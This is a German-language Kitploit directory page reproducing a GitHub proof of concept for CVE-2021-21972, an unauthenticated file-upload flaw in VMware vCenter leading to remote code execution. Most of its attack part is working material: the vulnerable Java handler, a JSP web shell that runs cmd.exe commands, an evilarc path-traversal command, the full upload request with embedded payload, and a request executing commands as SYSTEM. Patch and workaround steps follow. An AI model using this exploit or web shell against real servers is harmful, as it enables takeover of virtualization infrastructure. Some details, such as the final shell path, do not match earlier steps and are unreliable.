Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-21972 — CVE-2021-21972 – ᴠᴍᴡᴀʀᴇ ᴄʟɪᴇɴᴛ ᴜɴᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴄᴏᴅᴇ ɪɴᴊᴇᴄᴛɪᴏɴ (ʀᴄᴇ) | Kitploit
Tools/GitHubGitHub/orangmuda/cve-2021-21972
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRemote-Access-ToolPayload-Entwicklung
GitHuborangmuda/cve-2021-21972

CVE-2021-21972

CVE-2021-21972 – ᴠᴍᴡᴀʀᴇ ᴄʟɪᴇɴᴛ ᴜɴᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴄᴏᴅᴇ ɪɴᴊᴇᴄᴛɪᴏɴ (ʀᴄᴇ)

Repository anzeigen
1141vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-21972

[CVE-2021-21972] VMware vSphere Client Nicht autorisierter Datei-Upload zur Remote Code Execution (RCE)


Der vSphere Web Client (HTML5) ist im Wesentlichen eine administrative Oberfläche, die die Verwaltung einer vSphere-Installation ermöglicht. Der vSphere Client bietet einem Administrator Zugriff auf die wichtigsten Funktionen von vSphere, ohne direkt auf einen vSphere-Server zugreifen zu müssen. Er ermöglicht Administratoren, neue virtuelle Maschinen zu erstellen und bestehende sowie deren Ressourcen zu verwalten. Als plattformübergreifende Webanwendung kann er auf allen unterstützten Betriebssystemen über die unterstützten Versionen verschiedener Webbrowser verwendet werden.

CVE-2021-21972 ist eine Schwachstelle für nicht autorisierten Datei-Upload im vCenter Server, die zu Remote Code Execution auf dem entfernten Server führt. Das Problem liegt in fehlender Authentifizierung im vRealize Operations vCenter Plugin. Es erhielt einen kritischen CVSSv3-Score von 9,8 von 10,0. Ein nicht authentifizierter, entfernter Angreifer könnte diese Schwachstelle ausnutzen, indem er eine speziell gestaltete Datei an einen öffentlich zugänglichen, angreifbaren vCenter Server-Endpunkt hochlädt. VMware vCenter Server Versionen 6.5, 6.7 und 7.0 sind von dieser Schwachstelle betroffen. Eine erfolgreiche Ausnutzung dieser Schwachstelle würde dazu führen, dass ein Angreifer uneingeschränkte Remote Code Execution (RCE)-Rechte im zugrunde liegenden Betriebssystem des vCenter Servers erlangt. Trotz der Tatsache, dass diese Schwachstelle vom vRealize Operations vCenter Plugin ausgeht, bestätigt die VMware Advisory, dass dieses Plugin in allen Standardinstallationen des vCenter Servers enthalten ist. Dies bedeutet, dass der angreifbare Endpunkt unabhängig vom Vorhandensein von vRealize Operations verfügbar ist.

Im ursprünglichen Blogbeitrag hier wird die Entdeckung der Schwachstelle so detailliert wie möglich erklärt, sowie zwei separate Wege, um RCE zu erreichen. Für Windows-Systeme könnte ein Angreifer eine speziell gestaltete .jsp-Datei hochladen, um NT AUTHORITY\SYSTEM-Berechtigungen auf dem zugrunde liegenden Betriebssystem zu erlangen. Für Linux-Systeme müsste ein Angreifer einen öffentlichen Schlüssel generieren und in den authorized_keys-Pfad des Servers hochladen und sich dann per SSH mit dem angreifbaren Server verbinden, um vsphere-ui-Benutzerrechte zu erlangen. (falls der SSH-Dienst läuft und über das Netzwerk erreichbar ist)

vropsplugin-service.jar ist eine Java-Archivdatei des vropspluginui-Plugins und enthält einige Klassen und andere zugehörige Funktionen und Methoden. Der angreifbare Teil des Codes ist unten dargestellt. In diesem Codeausschnitt, der zur ServicesController.class im Controller von vropsplugin-service.jar gehört. Wie Sie im folgenden Codeausschnitt sehen können, ist die uploadOvaFile-Funktion für den Endpunkt/URL /ui/vropspluginui/rest/services/uploadova verantwortlich.

Full path of the vulnerable class: vropsplugin-service\com\vmware\vropspluginui\mvc\ServicesController.class

root@kitploit:~
@RequestMapping(value = {"/uploadova"}, method = {RequestMethod.POST})
  public void uploadOvaFile(@RequestParam(value = "uploadFile", required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
    logger.info("Entering uploadOvaFile api");
    int code = uploadFile.isEmpty() ? 400 : 200;
    PrintWriter wr = null;
    try {
      if (code != 200) {
        response.sendError(code, "Arguments Missing");
        return;
      } 
      wr = response.getWriter();
    } catch (IOException e) {
      e.printStackTrace();
      logger.info("upload Ova Controller Ended With Error");
    } 
    response.setStatus(code);
    String returnStatus = "SUCCESS";
    if (!uploadFile.isEmpty())
      try {
        logger.info("Downloading OVA file has been started");
        logger.info("Size of the file received  : " + uploadFile.getSize());
        InputStream inputStream = uploadFile.getInputStream();
        File dir = new File("/tmp/unicorn_ova_dir");
        if (!dir.exists()) {
          dir.mkdirs();
        } else {
          String[] entries = dir.list();
          for (String str : entries) {
            File currentFile = new File(dir.getPath(), str);
            currentFile.delete();
          } 
          logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
        } 
        TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
        TarArchiveEntry entry = in.getNextTarEntry();
        List<String> result = new ArrayList<String>();
        while (entry != null) {
          if (entry.isDirectory()) {
            entry = in.getNextTarEntry();
            continue;
          } 
          File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
          File parent = curfile.getParentFile();
          if (!parent.exists())
            parent.mkdirs(); 
          OutputStream out = new FileOutputStream(curfile);
          IOUtils.copy((InputStream)in, out);
          out.close();
          result.add(entry.getName());
          entry = in.getNextTarEntry();
        } 
        in.close();
        logger.info("Successfully deployed File at Location :/tmp/unicorn_ova_dir");
      } catch (Exception e) {
        logger.error("Unable to upload OVA file :" + e);
        returnStatus = "FAILED";
      }  
    wr.write(returnStatus);
    wr.flush();
    wr.close();
  }

Aus Angreifersicht führt der Handler dieser Klasse die folgenden Aktionen aus

  • Empfangen des uploadFile-Parameters mit POST-Methodenanfrage (Zeile 2)
  • Lesen des uploadFile-Parameters und Schreiben des Inhalts dieses Parameters in die Variable inputStream (Zeile 22)
  • Öffnen der resultierenden Daten als .tar-Archiv (Zeile 34)
  • Abrufen aller Archiveinträge (Zeile 35)
  • Kopieren jedes aktuellen Eintrags, der auf der Festplatte mit der Dateinamenskonvention erstellt wurde: /tmp/unicorn_ova_dir + entry.getName() (Zeile 42 und 47)

Proof of Concept: Um diese Schwachstelle auszunutzen, können Sie die folgenden Schritte verwenden

  1. Überprüfen der Schwachstelle
  2. Erstellen eines .tar-Archiveintrags, der die Zeichenfolge ../../ enthält
  3. Hochladen der manipulierten Archivdatei auf den Server
  4. Gehen Sie zum entsprechenden Pfad und rufen Sie die hochgeladene Datei auf: /statsreport/uploadedFileName.jsp

Um die Schwachstelle zu überprüfen, können Sie die folgende Anfrage verwenden

root@kitploit:~
GET /ui/vropspluginui/rest/services/getstatus HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close

Wenn die Antwort auf die obige Anfrage den unten stehenden Antworten ähnelt, bedeutet dies, dass der entfernte Host anfällig für CVE-2021-21972 ist

root@kitploit:~
HTTP/1.1 200 
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=35CB9D3F277D6B8413F099F93FB3A5CE; Path=/ui; Secure; HttpOnly
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 141
Date: Tue, 06 Apr 2021 14:32:30 GMT
Connection: close
Server: Anonymous

{"States":"[]","Install Progress":"UNKNOWN","Config Progress":"UNKNOWN","Config Final Progress":"UNKNOWN","Install Final Progress":"UNKNOWN"}
root@kitploit:~
HTTP/1.0 200 OK
strict-transport-security: max-age=30758400;includeSubDomains
x-xss-protection: 1; mode=block
set-cookie: VSPHERE-UI-JSESSIONID=3D8FE882F9BD3DD1C66C10DFD00022C9; Path=/ui; Secure; HttpOnly
content-type: text/plain;charset=ISO-8859-1
content-length: 374
date: Tue, 06 Apr 2021 14:33:22 GMT
server: envoy
x-envoy-upstream-service-time: 1
connection: close

{"States":"[OVF_DEPLOY_START, OVF_DEPLOY_IN_PROGRESS, OVF_DEPLOY_SUCCESS, VROPS_CONFIGURATION_START, VROPS_CONFIGURE_MASTER_START, VROPS_INIT_CLUSTER_START, VROPS_INIT_CLUSTER_ERROR, VROPS_CONFIGURATION_SUCCESS]","Install Progress":"UNKNOWN","Config Progress":"VROPS_CONFIGURATION_SUCCESS","Config Final Progress":"CONFIGURE_VROPS_FAILED","Install Final Progress":"UNKNOWN"}

Danach müssen wir eine manipulierte .tar-Datei erstellen. Hierfür können Sie evilarc verwenden. Evilarc ist ein einfaches Python-Skript, mit dem Sie eine Zip-Datei erstellen können, die Dateien mit Verzeichnisdurchlauf-Zeichen in ihrem eingebetteten Pfad enthält.

Inhalt von cmdjsp.jsp, im Grunde eine Webshell

root@kitploit:~
<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>

<pre>
<%=output %>
</pre>

Mit dem folgenden Befehl wird die manipulierte .tar-Archivdatei erstellt.

root@kitploit:~
> python evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl3.tar cmdjsp.jsp

Creating winexpl3.tar containing ..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp

> cat winexpl3.tar

././@LongLink0000000000000000000000000000015300000000000011214 Lustar  00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar  muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>

<pre>
<%=output %>
</pre>

Laden Sie dann einfach die .tar-Datei mit der folgenden Anfrage auf den Server hoch

root@kitploit:~
POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1
Host: vulnerablehost
Connection: close
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Length: 1200

------WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Disposition: form-data; name="uploadFile"; filename="a.ova"
Content-Type: text/plain

././@LongLink0000000000000000000000000000015300000000000011214 Lustar  00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar  muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>

<pre>
<%=output %>
</pre>
------WebKitFormBoundaryH8GoragzRFVTw1VD--

Die Antwort auf die obige Anfrage ist unten dargestellt

root@kitploit:~
HTTP/1.1 200 
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=80343ED805CE2BCCE497958D3AC9D164; Path=/ui; Secure; HttpOnly
Date: Tue, 06 Apr 2021 15:06:56 GMT
Connection: close
Server: Anonymous
Content-Length: 7

SUCCESS
Bildschirmfoto 2021-04-06 um 19:11:52

Wenn der Antwortstatuscode der obigen Anfrage 200 OK ist und der Antworttext SUCCESS lautet, bedeutet dies, dass die .tar-Archivdatei erfolgreich in den Pfad ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport hochgeladen wurde. Aufgrund des Anwendungsablaufs extrahiert der Server die .tar-Datei in das Verzeichnis /statsreport. Nach dieser Phase müssen Sie nur noch die folgende GET-Anfrage durchführen, um Remote Code Execution mit NT AUTHORITY\SYSTEM-Rechten zu erreichen.

root@kitploit:~
GET /statreport/cmd.jsp?cmd=whoami HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close

Workaround-Lösung: VMware hat diese Schwachstelle für die Versionen 7.0 U1c, 6.7 U3l und 6.5 U3n behoben. Falls der Patch jedoch nicht installiert werden kann, führen Sie zur Implementierung des Workarounds für CVE-2021-21972 und CVE-2021-21973 auf Windows-basierten vCenter Server-Bereitstellungen die folgenden Schritte aus:

  1. Stellen Sie eine RDP-Verbindung zum Windows-basierten vCenter Server her
  2. Erstellen Sie ein Backup der Datei: C:\ProgramData\VMware\vCenterServer\cfg\vsphere-ui\compatibility-matrix.xml
  3. Öffnen Sie die Datei compatibility-matrix.xml in einem Texteditor
  4. Fügen Sie diese Zeile: <PluginPackage id="com.vmware.vrops.install" status="incompatible"/> in das Element pluginsCompatibility ein
  5. Stoppen und starten Sie den vsphere-ui-Dienst mit den folgenden Befehlen neu
root@kitploit:~
C:\Program Files\VMware\vCenter Server\bin> service-control --stop vsphere-ui
C:\Program Files\VMware\vCenter Server\bin> service-control --start vsphere-ui
  1. Danach kann das VMware vROPS Client Plugin unter Administration > Solutions > client-plugins als „incompatible“ angezeigt werden.

Um den Workaround für CVE-2021-21972 und CVE-2021-21973 auf Linux-basierten virtuellen Appliances (vCSA) zu implementieren, führen Sie die folgenden Schritte aus:

  1. Stellen Sie über eine SSH-Sitzung mit Root-Anmeldeinformationen eine Verbindung zur vCSA her.
  2. Erstellen Sie ein Backup der Datei: /etc/vmware/vsphere-ui/compatibility-matrix.xml
  3. Öffnen Sie die Datei compatibility-matrix.xml in einem Texteditor
  4. Fügen Sie diese Zeile: <PluginPackage id="com.vmware.vrops.install" status="incompatible"/> in das Element pluginsCompatibility ein
  5. Stoppen und starten Sie den vsphere-ui-Dienst mit den folgenden Befehlen neu
root@kitploit:~
> service-control --stop vsphere-ui
> service-control --start vsphere-ui

Beachten Sie, dass diese Schwachstelle von Andri Wijayanto von Positive Technologies entdeckt wurde und der ursprüngliche Forschungsbeitrag hier verfügbar ist.

Weitere Informationen finden Sie auf den folgenden Seiten.

https://www.vmware.com/security/advisories/VMSA-2021-0002.html
https://kb.vmware.com/s/article/82374
https://docs.vmware.com/en/VMware-vSphere/7.0/rn/vsphere-vcenter-server-70u1c-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.7/rn/vsphere-vcenter-server-67u3l-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.5/rn/vsphere-vcenter-server-65u3n-release-notes.html

Tool herunterladen